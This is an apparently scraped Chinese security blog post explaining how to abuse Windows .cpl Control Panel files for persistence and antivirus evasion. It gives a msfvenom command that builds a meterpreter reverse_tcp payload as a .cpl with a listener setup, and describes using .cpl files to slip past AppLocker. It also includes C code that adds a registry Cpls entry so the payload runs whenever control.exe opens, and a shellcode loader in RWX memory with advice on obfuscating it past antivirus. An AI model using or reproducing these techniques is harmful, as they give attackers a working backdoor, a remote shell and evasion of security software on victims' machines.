11

干货 | 巧用cpl文件维持权限和免杀

 3 years ago
source link: https://www.heibai.org/2017.html
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

干货 | 巧用cpl文件维持权限和免杀

shaqian 2021-08-12 权限维持免杀

最近无意间发现了cpl文件,之前对该类型的文件了解几乎为零,由于触及到我的知识盲区,于是决定探究。

cpl文件

CPL文件,是Windows控制面板扩展项,CPL全拼为Control Panel Item 在system32目录下有一系列的cpl文件,分别对应着各种控制面板的子选项

20210812123848162874312840899.jpg

列入我们win+R输入main.cpl

20210812123849162874312923950.jpg

将会打开控制面板中的鼠标属性

20210812123850162874313054260.jpg

cpl文件本质是属于PE文件

20210812123852162874313264524.jpg

但cpl并不像exe,更像是dll,无法直接打开,只能以加载的形式运行。并且有一个导出函数CPlApplet 该函数是控制面板应用程序的入口点,它被控制面板管理程序自动调用,且是个回调函数。

20210812123853162874313324260.jpg

如何打开cpl

1.双击或者win+r xxx.cpl 2.control <文件名> 3.rundll32 shell32.dll,Control_RunDLL <文件名> 注意:所有rundll32 shell32.dll,Control_RunDLL的命令均可用control替代,control.exe实质调用了rundll32.exe。打开后找不到control.exe进程,只能找到rundll32.exe。

20210812123854162874313480388.jpg

4.vbs脚本

ActionScript
Dim obj
Set obj = CreateObject("Shell.Application")
obj.ControlPanelItem("C:\Users\11793\Desktop\cpl.cpl")


20210812123856162874313612665.jpg

5.js脚本

ActionScript
var a = newActiveXObject("Shell.Application");
a.ControlPanelItem("C:\\Users\\11793\\Desktop\\cpl.cpl");


20210812123857162874313786696.jpg

如何自己制造一个cpl文件

最简单的方式:直接创建一个dll,无需导出函数,然后改后缀名

ActionScript
BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
)
{
switch(ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
WinExec("Calc.exe", SW_SHOW);
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}

随便一种方式执行

20210812123858162874313835539.jpg

这里既然可以弹出calc.exe,那么能不能执行自己的payload的呢,答案是肯定的。

cpl文件的应用

bypass Windows AppLocker

什么是Windows AppLocker: AppLocker即“应用程序控制策略”,是Windows 7系统中新增加的一项安全功能。在win7以上的系统中默认都集成了该功能。

默认的Applocker规则集合,可以看到cpl并不在默认规则中:

20210812123859162874313912414.jpg

开启Applocker规则: 打开计算机管理,选择服务,将Application Identity服务开启

20210812123901162874314186117.jpg

然后在安全策略中,添加一条applocker规则,会询问是否添加默认规则

20210812123902162874314210205.jpg

默认规则为:

20210812123903162874314365294.jpg

假设设置某一路径无法执行可执行程序,再次运行时就会提示组策略安全,不允许运行

20210812123905162874314574407.jpg

绕过的方式有很多,这里只讲cpl文件 完全可以把代码写入到cpl文件中,同样达到执行目的,这里就弹一个cmd

20210812123906162874314683891.jpg

msf直接生成cpl文件

生成cpl文件 msfvenom -p windows/meterpreter/reverse_tcp -b '\x00\xff' lhost=192.168.111.128 lport=8877 -f dll -o cpl.cpl

20210812123907162874314729869.jpg

将文件拖到本地并运行,msf监听

•use exploit/multi/handler•set payload windows/meterpreter/reverse_tcp•set lhost 192.168.111.128•set lport 8877•exploit

20210812123913162874315381315.jpg

这样肯定是不够的,可以把这个cpl文件当作一个后门,做到一个权限维持的效果,且比较隐蔽。将cpl文件名称改为test.cpl 创建一个项目,作用为修改注册表:

ActionScript
HKEY hKey;
DWORD dwDisposition;
char path[] = "C:\\test.cpl";
RegCreateKeyExA(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Control Panel\\Cpls", 0, NULL, 0, KEY_WRITE, NULL, &hKey, &dwDisposition);
RegSetValueExA(hKey, "test.cpl", 0, REG_SZ, (BYTE*)path, (1+ ::lstrlenA(path)));

不一定将cpl文件放到c盘更目录,可以自定义路径 执行后

20210812123914162874315447583.jpg

然后这里在开启control.exe时,test.cpl文件也会被打开。

20210812123915162874315587557.jpg

如果目标主机有杀软,可以通过该方法白加黑绕过,但是msf的cpl文件特征非常明显,静态太概率都会被杀掉。

20210812123917162874315753845.jpg

除了加壳之外,寄希望于自己实现加载shellcode,方便做混淆。

使用shellcode自己做一个cpl文件

直接上代码

ActionScript
#include"pch.h"
#include"windows.h"
extern"C" __declspec(dllexport) VOID CPlApplet(HWND hwndCPl, UINT msg, LPARAM lParam1, LPARAM lParam2)
{
MessageBoxA(0, NULL, "test", MB_OK);
/* length: 835 bytes */
unsignedchar buf[] = "shellcode";
    LPVOID Memory= VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    memcpy(Memory, buf, sizeof(buf));
((void(*)())Memory)();
}
BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
)
{
switch(ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}

这是最最最最基础的loader 先打开control.exe看看效果

20210812123919162874315912143.jpg

看看查杀率

20210812123920162874316065068.jpg

这里上传的文本,shellcode没有做任何的处理,查杀率已经算比较低的,如果混淆一下,很轻松的就可以静态过杀软,再用白加黑,是不是想想就很轻松呢。

经过一系列处理后,找杀毒能力还比较强的360试一下

20210812123922162874316265535.jpg
原文由HACK学习呀

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK